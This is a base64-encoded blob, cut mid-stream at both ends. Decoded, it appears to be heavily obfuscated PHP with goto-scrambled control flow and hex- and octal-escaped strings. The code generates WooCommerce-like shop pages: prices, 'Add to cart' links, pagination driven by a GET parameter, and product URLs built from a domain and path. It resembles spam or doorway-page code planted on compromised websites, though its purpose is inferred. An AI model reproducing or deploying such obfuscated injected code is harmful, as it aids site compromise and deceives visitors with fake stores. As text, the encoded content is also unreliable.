jBceDIwXDQwXHgyMFx4MjBceDIwXHgyMFw0MFw0MFw0MFw0MFw0MFx4MjBceDIwXHgyMFw0MFx4MjBcNDBcNDBceDIwXHgyMFw0MFx4MjBcNDBcNDBcNDBceDIwXDQwXDc0XDE0NFx4NjVcMTU0XHgyMFx4NjFceDcyXDE1MVwxNDFcNTVcMTUwXDE1MVx4NjRceDY0XHg2NVx4NmVcNzVceDIyXHg3NFx4NzJceDc1XHg2NVw0Mlw3Nlx4ZFwxMlw0MFx4MjBcNDBcNDBcNDBceDIwXDQwXDQwXHgyMFw0MFx4MjBcNDBcNDBcNDBceDIwXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFx4MjBceDIwXHgyMFx4MjBcNDBcNDBceDIwXHgyMFw0MFw0MFx4MjBcNDBcNDBcNDBceDIwXDQwXDQwXHgyMFw3NFx4NzNcMTYwXHg2MVwxNTZcNDBceDYzXHg2Y1x4NjFcMTYzXHg3M1x4M2RceDIyXDE2N1wxNTdcMTU3XDE0M1wxNTdcMTU1XHg2ZFx4NjVcMTYyXDE0M1wxNDVceDJkXHg1MFwxNjJceDY5XHg2M1x4NjVceDJkXHg2MVx4NmRcMTU3XHg3NVx4NmVcMTY0XDQwXDE0MVwxNTVceDZmXDE2NVx4NmVcMTY0XDQyXDc2XDE1XDEyXHgyMFw0MFw0MFw0MFw0MFw0MFw0MFw0MFx4MjBcNDBcNDBcNDBcNDBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFw0MFw0MFx4MjBceDIwXHgyMFw0MFw0MFw0MFw0MFw0MFw0MFx4MjBceDIwXDQwXDQwXDQwXDQwXDQwXDQwXDQwXHgyMFx4MjBcNDBceDIwXHgzY1x4NjJceDY0XHg2OVw3NlwxNVwxMlx4MjBcNDBcNDBcNDBceDIwXHgyMFw0MFx4MjBcNDBcNDBcNDBceDIwXHgyMFw0MFw0MFw0MFx4MjBceDIwXDQwXDQwXHgyMFw0MFx4MjBcNDBcNDBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBcNDBcNDBceDIwXDQwXDQwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBcNzRceDczXHg3MFwxNDFceDZlXHgyMFx4NjNceDZjXDE0MVx4NzNceDczXDc1XHgyMlwxNjdceDZmXDE1N1x4NjNcMTU3XHg2ZFwxNTVcMTQ1XDE2MlwxNDNcMTQ1XHgyZFwxMjBceDcyXDE1MVx4NjNceDY1XDU1XDE0M1wxNjVceDcyXDE2Mlx4NjVceDZlXDE0M1x4NzlcMTIzXDE3MVx4NmRceDYyXDE1N1x4NmNcNDJceDNleyRQd1FaZ1siXDE0M1x4NzVceDcyXHg3Mlx4NjVcMTU2XHg2M1x4NzlcMTM3XDE2M1x4NzlcMTU1XDE0Mlx4NmZceDZjIl19XDQweyRQd1FaZ1siXDE2Mlx4NjFceDc3XDEzN1wxNjBcMTYyXHg2OVx4NjNcMTQ1Il19XDc0XDU3XHg3M1x4NzBcMTQxXDE1Nlw3Nlx4ZFwxMlw0MFx4MjBcNDBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFw0MFx4MjBcNDBcNDBceDIwXDQwXHgyMFx4MjBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFw0MFx4MjBcNDBceDIwXDQwXHgyMFw0MFw3NFw1N1wxNDJceDY0XHg2OVx4M2VceGRceGFceDIwXDQwXDQwXDQwXDQwXHgyMFw0MFw0MFw0MFx4MjBcNDBcNDBcNDBceDIwXDQwXHgyMFx4MjBcNDBcNDBceDIwXHgyMFx4MjBcNDBceDIwXDQwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBcNDBcNDBceDIwXDc0XHgyZlwxNjNcMTYwXDE0MVx4NmVcNzZceGRceGFceDIwXHgyMFw0MFw0MFw0MFw0MFx4MjBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw0MFx4MjBcNDBcNDBcNDBceDIwXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBcNDBcNDBceDIwXHgzY1w1N1wxNDRcMTQ1XDE1NFx4M2VceGRcMTJcNDBcNDBceDIwXDQwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNDBcNDBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXDQwXDQwXDQwXHgyMFx4MjBcNDBcNDBcNDBceDIwXDQwXDQwXDQwXHgyMFw0MFw3NFx4NjlcMTU2XHg3M1x4M2VceGRcMTJcNDBceDIwXDQwXHgyMFx4MjBceDIwXDQwXDQwXDQwXDQwXHgyMFx4MjBceDIwXDQwXDQwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFw0MFx4MjBceDIwXDQwXHgyMFw0MFw0MFx4MjBcNDBcNDBceDIwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFw3NFwxNjNceDcwXDE0MVwxNTZcNDBceDYzXDE1NFx4NjFcMTYzXDE2M1x4M2RceDIyXDE2N1x4NmZcMTU3XDE0M1x4NmZceDZkXDE1NVx4NjVceDcyXDE0M1x4NjVceDJkXDEyMFwxNjJceDY5XHg2M1wxNDVcNTVceDYxXHg2ZFwxNTdceDc1XHg2ZVx4NzRceDIwXHg2MVx4NmRcMTU3XDE2NVwxNTZceDc0XDQyXDc2XDE1XDEyXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFx4MjBceDIwXHgyMFx4MjBcNDBcNDBceDIwXHgyMFw0MFw0MFx4MjBceDIwXDQwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXDQwXDQwXDQwXDQwXDQwXDQwXHgyMFw0MFw0MFx4M2NceDYyXDE0NFx4NjlceDNlXDE1XDEyXHgyMFw0MFw0MFw0MFx4MjBcNDBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFw0MFw0MFw0MFw0MFw0MFx4MjBcNDBceDIwXHgyMFx4MjBcNDBceDIwXDQwXDQwXHgyMFw0MFw0MFx4MjBceDIwXDQwXDQwXHgyMFx4MjBcNDBcNDBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNzRceDczXHg3MFwxNDFcMTU2XDQwXHg2M1wxNTRceDYxXDE2M1x4NzNcNzVceDIyXHg3N1wxNTdceDZmXHg2M1wxNTdcMTU1XHg2ZFx4NjVceDcyXDE0M1x4NjVcNTVcMTIwXHg3Mlx4NjlceDYzXDE0NVx4MmRcMTQzXHg3NVx4NzJceDcyXHg2NVwxNTZceDYzXDE3MVwxMjNceDc5XDE1NVwxNDJcMTU3XDE1NFx4MjJceDNleyRQd1FaZ1siXHg2M1wxNjVceDcyXDE2Mlx4NjVcMTU2XHg2M1wxNzFceDVmXHg3M1x4NzlceDZkXHg2Mlx4NmZcMTU0Il19XHgyMHskUHdRWmdbIlwxNDRcMTUxXHg3M1wxNjBceDZjXHg2MVx4NzlceDVmXDE2MFwxNjJcMTUxXDE0M1x4NjUiXX1ceDNjXHgyZlwxNjNceDcwXDE0MVwxNTZceDNlXHhkXHhhXDQwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBcNDBceDIwXHgyMFx4MjBcNDBcNDBcNDBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFw3NFx4MmZceDYyXHg2NFwxNTFcNzZceGRcMTJceDIwXDQwXDQwXDQwXDQwXDQwXDQwXDQwXDQwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFx4MjBcNDBcNDBceDIwXDQwXDQwXDQwXHgyMFw0MFx4MjBcNDBcNDBcNDBceDIwXHgyMFw0MFx4MjBceDNjXDU3XHg3M1wxNjBceDYxXHg2ZVw3Nlx4ZFwxMlw0MFx4MjBcNDBcNDBcNDBceDIwXDQwXDQwXDQwXDQwXHgyMFw0MFx4MjBceDIwXDQwXHgyMFx4MjBcNDBcNDBcNDBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXDQwXDQwXHgyMFw0MFw0MFx4M2NceDJmXDE1MVx4NmVcMTYzXDc2XHhkXHhhXDQwXDQwXHgyMFx4MjBceDIwXDQwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFw0MFx4MjBcNDBcNDBceDIwXDQwXDQwXDQwXHgyMFx4MjBcNDBceDIwXDQwXDQwXDQwXHgyMFx4MjBcNDBcNDBcNDBceDNjXHgyZlwxNjNceDcwXDE0MVwxNTZcNzZcMTVcMTJcNDBceDIwXHgyMFx4MjBceDIwXDQwXDQwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFw0MFx4MjBceDIwXHgyMFx4MjBcNDBcNDBceDIwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNDBceDIwXDQwXDc0XDE0NFwxNTFcMTY2XHgyMFx4NjNcMTU0XHg2MVwxNjNcMTYzXDc1XHgyMlwxNDFcMTQ0XDE0NFx4MmRcMTU0XDE1MVx4NmVceDZiXDE2M1w1NVwxNjdceDcyXDE0MVx4NzBceDIyXHgzZVwxNVx4YVw0MFw0MFx4MjBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFx4MjBcNDBcNDBcNDBceDIwXHgyMFw0MFw0MFx4MjBceDIwXDQwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFw0MFw0MFw0MFx4MjBcNDBceDIwXDQwXDc0XHg2NFx4NjlcMTY2XDQwXHg2M1x4NmNceDYxXHg3M1x4NzNcNzVcNDJcMTQxXDE0NFwxNDRceDJkXDE1NFwxNTFcMTU2XHg2YlwxNjNcNDBceDZlXHg2Zlw1NVx4NjVcMTQ2XHg2NlwxNDVcMTQzXDE2NFw0MFwxNDNcMTU0XDE0NVx4NjFcMTYyXDE0Nlx4NjlcMTcwXHgyMlw3Nlx4ZFwxMlw0MFx4MjBcNDBcNDBceDIwXHgyMFw0MFw0MFx4MjBcNDBceDIwXDQwXDQwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXDQwXDQwXDQwXDQwXHgyMFw3NFx4NjRceDY5XHg3Nlx4MjBceDYzXHg2Y1x4NjFceDczXDE2M1x4M2RcNDJcMTYxXDE2NVx4NjFceDZlXHg3NFx4NjlceDc0XHg3OVx4MjBcMTQyXDE2NVx4NzRcMTY0XHg2Zlx4NmVceDczXHg1ZlwxNDFcMTQ0XHg2NFwxNDVceDY0XHgyMlw3Nlx4ZFwxMlw0MFx4MjBceDIwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFw0MFw0MFw0MFx4MjBcNDBceDIwXHgyMFw0MFw0MFw0MFw0MFx4MjBcNDBcNDBcNDBcNDBceDIwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw0MFx4MjBceDIwXDQwXHgyMFw0MFw0MFx4MjBcNDBcNDBcNDBcNDBcNzRceDYyXDE2NVwxNjRcMTY0XDE1N1wxNTZcNDBceDc0XDE3MVwxNjBceDY1XDc1XDQyXDE0MlwxNjVcMTY0XHg3NFwxNTdcMTU2XDQyXHgyMFx4NzZceDYxXHg2Y1wxNjVceDY1XDc1XDQyXDU1XHgyMlx4MjBceDYzXHg2Y1x4NjFceDczXHg3M1x4M2RcNDJcMTU1XDE1MVwxNTZceDc1XDE2M1w0Mlx4M2VcNTVcNzRceDJmXHg2Mlx4NzVceDc0XDE2NFx4NmZcMTU2XDc2XDE1XHhhXHgyMFw0MFx4MjBceDIwXDQwXDQwXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFw0MFx4MjBceDIwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBcNDBcNDBcNDBcNzRcMTUxXDE1NlwxNjBcMTY1XHg3NFx4MjBceDc0XDE3MVwxNjBcMTQ1XDc1XDQyXDE1NlwxNjVcMTU1XHg2MlwxNDVceDcyXHgyMlw0MFwxNDNceDZjXHg2MVx4NzNcMTYzXDc1XHgyMlwxNTFcMTU2XDE2MFwxNjVceDc0XHgyZFx4NzRcMTQ1XDE3MFwxNjRcNDBcMTYxXDE2NFx4NzlceDIwXDE2NFwxNDVcMTcwXHg3NFw0Mlw0MFwxNTZcMTQxXHg2ZFwxNDVcNzVceDIyXHg3MVx4NzVceDYxXHg2ZVx4NzRceDY5XHg3NFx4NzlcNDJcNDBceDc2XDE0MVwxNTRceDc1XHg2NVx4M2RcNDJcNjFcNDJceDIwXHg3NFwxNTFceDc0XDE1NFwxNDVceDNkXHgyMlx4NTFceDc0XHg3OVw0Mlw0MFwxNjNcMTUxXDE3MlwxNDVcNzVceDIyXDY0XHgyMlw0MFx4NzBceDZjXHg2MVwxNDNceDY1XDE1MFx4NmZcMTU0XHg2NFx4NjVcMTYyXDc1XHgyMlx4MjJceDIwXDE1MVwxNTZceDcwXHg3NVwxNjRceDZkXDE1N1wxNDRcMTQ1XDc1XHgyMlwxNTZceDc1XHg2ZFx4NjVceDcyXDE1MVwxNDNcNDJcNTdcNzZceGRcMTJcNDBcNDBcNDBcNDBcNDBcNDBcNDBceDIwXHgyMFw0MFw0MFw0MFw0MFx4MjBceDIwXDQwXHgyMFw0MFw0MFw0MFw0MFx4MjBcNDBcNDBceDIwXDQwXHgyMFx4MjBcNDBceDIwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFw0MFw0MFx4MjBceDIwXDQwXDQwXHgzY1x4NjJcMTY1XHg3NFwxNjRcMTU3XHg2ZVx4MjBcMTY0XDE3MVwxNjBceDY1XDc1XHgyMlx4NjJcMTY1XDE2NFwxNjRceDZmXDE1Nlx4MjJcNDBceDc2XHg2MVx4NmNcMTY1XDE0NVx4M2RceDIyXHgyYlw0Mlx4MjBcMTQzXHg2Y1wxNDFcMTYzXHg3M1x4M2RceDIyXHg3MFx4NmNcMTY1XHg3M1w0Mlw3Nlx4MmJcNzRcNTdcMTQyXDE2NVx4NzRcMTY0XDE1N1wxNTZceDNlXHhkXHhhXHgyMFw0MFx4MjBceDIwXHgyMFw0MFw0MFx4MjBcNDBcNDBcNDBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXDQwXDQwXDQwXDQwXDQwXHgyMFw0MFw0MFw0MFw3NFx4MmZcMTQ0XDE1MVx4NzZceDNlXHhkXHhhXHgyMFw0MFw0MFw0MFw0MFx4MjBceDIwXHgyMFw0MFw0MFx4MjBceDIwXDQwXHgyMFx4MjBceDIwXDQwXDQwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXDQwXDQwXDQwXDQwXHgyMFx4MjBcNDBcNDBcNDBceDIwXDQwXDQwXDQwXDQwXHgzY1wxNDFcNDBceDY4XDE2Mlx4NjVcMTQ2XDc1XHgyMlwxNTJcMTQxXHg3NlwxNDFceDczXDE0M1wxNjJceDY5XHg3MFwxNjRcNzJcMTY2XHg2Zlx4NjlcMTQ0XHgyOFx4MzBceDI5XDczXHgyMlx4MjBceDcyXDE1N1wxNTRcMTQ1XDc1XDQyXHg2MlwxNjVcMTY0XHg3NFwxNTdcMTU2XDQyXHgyMFwxNDFcMTYyXHg2OVwxNDFceDJkXDE1NFx4NjFcMTQyXDE0NVx4NmNceDNkXHgyMlwxNDFceDY0XHg2NFx4MjBcMTY0XDE1N1w0MFx4NjNcMTQxXHg3MlwxNjRceDIyXDQwXDE2MlwxNDVcMTU0XHgzZFx4MjJcMTU2XDE1N1x4NjZceDZmXHg2Y1wxNTRceDZmXDE2N1x4MjJcNzZcMTAxXHg2NFx4NjRcNDBceDc0XHg2Zlw0MFx4NjNcMTQxXHg3MlwxNjRceDNjXHgyZlwxNDFcNzZcNzRceDJmXDE0NFx4NjlceDc2XDc2XHhkXHhhXDQwXHgyMFx4MjBcNDBcNDBceDIwXDQwXDQwXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFx4MjBcNDBcNDBcNDBceDIwXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBceDIwXDQwXDQwXDQwXDQwXHgyMFx4M2NceDJmXDE0NFwxNTFcMTY2XDc2XHhkXHhhXHgyMFx4MjBceDIwXDQwXDQwXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFw0MFw0MFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXDQwXDQwXDQwXHgyMFx4MjBcNDBcNzRcNTdceDY0XHg2OVwxNjZceDNlXHhkXDEyXDQwXDQwXHgyMFw0MFx4MjBcNDBceDIwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBcNDBceDIwXHgyMFx4MjBcNDBcNDBceDNjXHgyZlx4NjRceDY5XDE2Nlw3Nlx4ZFx4YVw0MFw0MFw0MFw0MFx4MjBceDIwXHgyMFw0MFx4MjBcNDBcNDBcNDBcNDBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFx4M2NcNTdceDZjXHg2OVx4M2VceGRcMTIiOyBnb3RvIGZFMTByOyBQOHRicDogJHJBcnFUID0gJyc7IGdvdG8gYWV4ZjI7IHhvSGZ4OiAkYWlaMDYgPSAiXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXDQwXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFw0MFx4MjBceDIwXDQwXHgyMHskckFycVR9XDE1XDEyXHgyMFx4MjBcNDBceDIwXDQwXDQwXDQwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNzRceDZjXHg2OVw3Nlx4M2NceDczXDE2MFwxNDFceDZlXDQwXHg2MVx4NzJcMTUxXDE0MVw1NVx4NjNcMTY1XDE2Mlx4NzJcMTQ1XDE1Nlx4NzRcNzVceDIyXHg3MFx4NjFcMTQ3XDE0NVw0Mlx4MjBceDYzXDE1NFwxNDFcMTYzXDE2M1w3NVx4MjJcMTYwXDE0MVx4NjdcMTQ1XHgyZFx4NmVcMTY1XDE1NVx4NjJceDY1XHg3Mlx4NzNcNDBceDYzXHg3NVwxNjJceDcyXDE0NVx4NmVceDc0XHgyMlw3NnskQm1OMmR9XHgzY1x4MmZceDczXHg3MFwxNDFceDZlXDc2XHgzY1x4MmZceDZjXDE1MVx4M2VceGRcMTJcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXDQwXDQwXHgyMFw0MFw0MFx4MjBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFx4M2NceDZjXDE1MVw3Nlw3NFx4NzNceDcwXHg2MVwxNTZcNDBcMTQzXDE1NFx4NjFceDczXHg3M1w3NVw0MlwxNjBcMTQxXHg2N1x4NjVcNTVcMTU2XDE2NVwxNTVceDYyXHg2NVwxNjJceDczXDQwXDE0NFx4NmZceDc0XHg3M1w0Mlw3Nlw0Nlx4NjhceDY1XHg2Y1x4NmNcMTUxXDE2MFx4M2JceDNjXDU3XDE2M1wxNjBceDYxXHg2ZVw3Nlw3NFw1N1wxNTRcMTUxXDc2XDE1XDEyXDQwXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBceDIwXHgzY1wxNTRceDY5XDc2XHgzY1x4NjFceDIwXHg2M1wxNTRcMTQxXHg3M1wxNjNceDNkXDQyXDE1NlwxNDVceDc4XDE2NFx4MjBcMTYwXHg2MVwxNDdcMTQ1XHgyZFwxNTZceDc1XDE1NVx4NjJceDY1XDE2MlwxNjNceDIyXDQwXHg2MVwxNjJceDY5XDE0MVw1NVwxNTRcMTQxXHg2Mlx4NjVceDZjXDc1XHgyMlx4NmVceDY1XDE3MFx4NzRceDIwXHg3MFx4NjFceDY3XDE0NVx4MjBcMTU2XDE2NVwxNTVcMTQyXHg2NVx4NzJcNDJcNDBcMTYyXDE0NVwxNTRceDNkXDQyXHg2ZVwxNDVcMTcwXHg3NFw0Mlx4MjBceDY4XHg3MlwxNDVceDY2XHgzZFw0Mlx4MmZ7JExhN3dOfVx4MjJceDNlXHgzY1w1N1wxNDFcNzZceDNjXHgyZlx4NmNceDY5XDc2IjsgZ290byBjMVpVQTsgaXpGWVA6IEhGaHUxOiBnb3RvIExTNDZXOyBNYklqVDogeVptNWk6IGdvdG8gZVJISVc7IGVSSElXOiAkTGE3d04gPSBzZWxmOjplenEzWiAuICJceDJmXHg1ZnskX0dFVFsiXDE1MSJdfVw1NyIgLiAoJEJtTjJkICsgMSkgLiAiXDU3eyR0T0kwTn1cNTZcMTUwXDE2NFx4NmRcMTU0IjsgZ290byB4b0hmeDsgblhNalM6ICR1eExlcyA9IHNlbGY6OmV6cTNaIC4gIlw1N1x4NWZ7JF9HRVRbIlwxNTEiXX1cNTciIC4gKCRCbU4yZCAtIDEpIC4gIlx4MmZ7JHRPSTBOfVw1NlwxNTBcMTY0XDE1NVwxNTQiOyBnb3RvIEkySTRIOyBhZXhmMjogaWYgKCEoJEJtTjJkID4gc2VsZjo6SnVsVV8gJiYgJHRPSTBOID09IHNlbGY6OnhsdnppKSkgeyBnb3RvIHlabTVpOyB9IGdvdG8gblhNalM7IEkySTRIOiAkckFycVQgPSAiXDc0XDE1NFx4NjlceDNlXDc0XHg2MVx4MjBceDYzXDE1NFx4NjFceDczXHg3M1x4M2RceDIyXDE2MFwxNjJceDY1XHg3Nlx4MjBceDcwXDE0MVwxNDdceDY1XDU1XHg2ZVwxNjVceDZkXDE0MlwxNDVceDcyXDE2M1x4MjJceDIwXHg3Mlx4NjVcMTU0XDc1XDQyXDE2MFwxNjJceDY1XDE2Nlw0Mlw0MFx4NjhcMTYyXHg2NVwxNDZceDNkXDQyXHgyZiIgLiAkdXhMZXMgLiAiXDQyXDc2XHgzY1w1N1x4NjFceDNlXHgzY1w1N1x4NmNceDY5XDc2IjsgZ290byBNYklqVDsgYzFaVUE6IEcxSWNNOiBnb3RvIGl6RllQOyBMUzQ2VzogfSBnb3RvIGhHRnVQOyBRQVUxcjogJG9QMjlZID0gZXhwbG9kZSgiXHg1ZiIsICRIUWtkRSk7IGdvdG8geDRGRm07IFlsWko2OiBpZiAoaXNfaW50KCRIUWtkRSkpIHsgZ290byBDWFJ2bjsgfSBnb3RvIE8zeTdsOyBxckk3ZjogQ1hSdm46IGdvdG8gS3A0aTk7IGIxM1VyOiAkQUdSS24gPSBzZWxmOjplenEzWiAuICJceDJmIiAuICR0aGlzLT5BS0Njeih1Y3dvcmRzKHN0cnRvbG93ZXIoJHFOOEdYKSkpIC4gIlx4NWZ7JG9QMjlZWzFdfVw1NlwxNTBceDc0XDE1NVx4NmMiOyBnb3RvIGtNTzRpOyBBamF6bDogdW5zZXQoJHIxQkNqWyJceDZiXHg2NVwxNzEiXSk7IGdvdG8gQzNWX0k7IHA1TWZ1OiBpZiAoaXNfaW50KCRIUWtkRSkpIHsgZ290byBvMDdXXzsgfSBnb3RvIFFBVTFyOyBLcDRpOTogSWxhM3Q6IGdvdG8gU0pvdWo7IFNKb3VqOiB9IGdvdG8gTm9xWWw7IE5vcVlsOiBtSzh2NzogZ290byBhSXVPbTsgWG9RQ3o6IHJldHVybiBbIlx4NmNcMTUxXHg3M1wxNjRceDVmXHg2OFwxNjRcMTU1XDE1NCIgPT4gJEl3bFRMLCAiXDE0M1x4NmZcMTU0XHg2Y1wxNDVcMTQzXHg3NFx4NjlceDZmXDE1Nlx4NWZcMTQyXHg3MlwxNDVcMTQxXDE0NFx4NjNcMTYyXDE2NVwxNTVcMTQyXDEzN1wxNTBcMTY0XHg2ZFwxNTQiID0+ICR6enFpbV0gKyAoJGFpWjA2ID8gWyJceDc0XDE2NVx4NzJceDZlXDEzN1x4NzBcMTQxXHg2N1x4NjVcMTM3XDE1MFx4NzRcMTU1XHg2YyIgPT4gJGFpWjA2XSA6IFtdKTsgZ290byBRR2JGVDsgYUl1T206ICRCVTkzMCA9ICJceDJmXDE1MFx4NmZcMTU1XDE0NVw1Nlx4NjhcMTY0XHg2ZFwxNTQiOyBnb3RvIHhfMTJzOyB4XzEyczogJHp6cWltID0gIlx4MjBcNDBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFw0MFw0MFw0MFw0MFw3NFwxNDFcNDBcMTUxXDE2NFx4NjVceDZkXHg3MFwxNjJcMTU3XHg3MFw3NVx4MjJcMTUxXDE2NFx4NjVcMTU1XDQyXDQwXDE1MFx4NzJceDY1XHg2Nlx4M2RcNDJ7JEJVOTMwfVw0Mlx4MjBceDc0XDE1MVwxNjRcMTU0XHg2NVw3NVw0Mlx4NDdceDZmXDQwXDE2NFx4NmZceDIwXDExMFwxNTdceDZkXDE0NVw0MFwxMjBcMTQxXHg2N1wxNDVcNDJcNzZcNzRceDczXHg3MFx4NjFcMTU2XHgyMFwxNTFceDc0XDE0NVwxNTVcMTYwXHg3Mlx4NmZcMTYwXHgzZFx4MjJceDZlXDE0MVwxNTVcMTQ1XHgyMlx4M2VceDQ4XDE1N1wxNTVceDY1XDc0XDU3XHg3M1x4NzBceDYxXDE1Nlx4M2VceDNjXHgyZlx4NjFceDNlIjsgZ290byBYb1FDejsgZkpjV246ICRJd2xUTCA9ICcnOyBnb3RvIGRsRWtPOyBRR2JGVDogfSBwdWJsaWMgZnVuY3Rpb24gel9NX1coJERrV3JyKSB7IGdvdG8gZXVoMkE7IEUxWE04OiBmb3JlYWNoICgkRGtXcnIgYXMgJG9QMjlZKSB7IGdvdG8gZ0FKRGk7IG50aGR4OiBZSEVQNjogZ290byBGc0w1ejsgdWtGX1k6ICRtT2RFRiAuPSAiXHgyMFw0MFx4MjBcNDBcNDBceDIwXDQwXDQwXHgyMFw0MFw0MFw0MFw0MFx4MjBcNDBcNDBceDIwXHgyMFx4MjBcNDBcNzRceDZjXDE1MVw0MFx4NjNcMTU0XHg2MVx4NzNceDczXHgzZFw0MlwxNDNcMTQxXHg3NFx4MmRcMTUxXHg3NFx4NjVcMTU1XHgyMlw3Nlx4M2NcMTQxXHgyMFx4NjhceDcyXHg2NVx4NjZceDNkXDQyXDU3eyRHb1djQn1cNDJceDNleyRvUDI5WVsiXDE0M1x4NjFceDc0XHg2NVwxNDdcMTU3XHg3MlwxNzFcMTM3XDE1NlwxNDFcMTU1XHg2NSJdfVw3NFw1N1wxNDFcNzZceDNjXHgyZlx4NmNcMTUxXHgzZSI7IGdvdG8gbnRoZHg7IGdBSkRpOiAkR29XY0IgPSBzZWxmOjplenEzWiAuICJcNTciIC4gJHRoaXMtPkFLY2NaKHVjd29yZHMoc3RydG9sb3dlcigkb1AyOVlbIlwxNDNcMTQxXHg3NFwxNDVceDY3XHg2Zlx4NzJceDc5XDEzN1wxNTZcMTQxXHg2ZFwxNDUiXSkpKSAuICJceDVmIiAuICR0aGlzLT5nSDFSYSgiXDE2M1x4NmJceDc1IiAuICRvUDI5WVsiXHg2M1wxNDFceDc0XHg2NVx4NjdceDZmXHg3MlwxNzFcMTM3XHg2OVx4NjQiXSkgLiAiXDU2XHg2OFwxNjRcMTU1XDE1NCI7IGdvdG8gdWtGX1k7IEZzTDV6OiB9IGdvdG8gWUJLMF87IE5VMHRIOiByZXR1cm4gJG1PZEVGOyBnb3RvIElBVUJ6OyBZQkswXzogWklUb1k6IGdvdG8gTlUwdEg7IGV1aDJBOiAkbU9kRUYgPSAnJzsgZ290byBFMVhNODsgSUFVQno6IH0gcHVibGljIGZ1bmN0aW9uIERLVVoyKCRQd1FaZywgJFNlQXppKSB7IGdvdG8geTJMOXk7IGp4ek5ZOiAkVVA4QWhbXSA9ICJcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBcNDBceDIwXDQwXDQwXDQwXDQwXHgyMFw0MFx4MjBcNzRcNTdcMTY1XDE1NFx4M2VceGRcMTJcNDBceDIwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNDBcNDBcNzRceDJmXHg2NFwxNTFceDc2XHgzZVx4ZFx4YVx4MjBcNDBceDIwXHgyMFw0MFw0MFx4MjBceDIwXHgzY1x4MmZcMTQ0XHg2OVwxNjZceDNlXDQwIjsgZ290byBTNGlJRzsgZDBPSHQ6IGZvcmVhY2ggKCRTZUF6aSBhcyAkSkdiOWUpIHsgZ290byBIRkEwNTsgcnNHOVg6ICRHb1djQiA9ICJ7JEpHYjllWyJcMTYzXDE0M1wxNTBcMTQ1XDE1NVx4NjUiXX1cNzJcNTdceDJmeyRKR2I5ZVsiXHg2NFx4NmZceDZkXHg2MVx4NjlceDZlIl19eyRKR2I5ZVsiXDE2MFx4NjFceDc0XHg2OCJdfSIgLiBzZWxmOjpiODNaayAuICJceDJmeyRRU1JGcX1cMTM3eyRqU2hhSn1ceDJlXDE1MFwxNjRceDZkXDE1NCI7IGdvdG8gV3pWX0g7IFd6Vl9IOiAkTWZVRWlbXSA9ICJcNDBceDIwXDQwXDQwXDQwXHgyMFx4MjBceDIwXHgy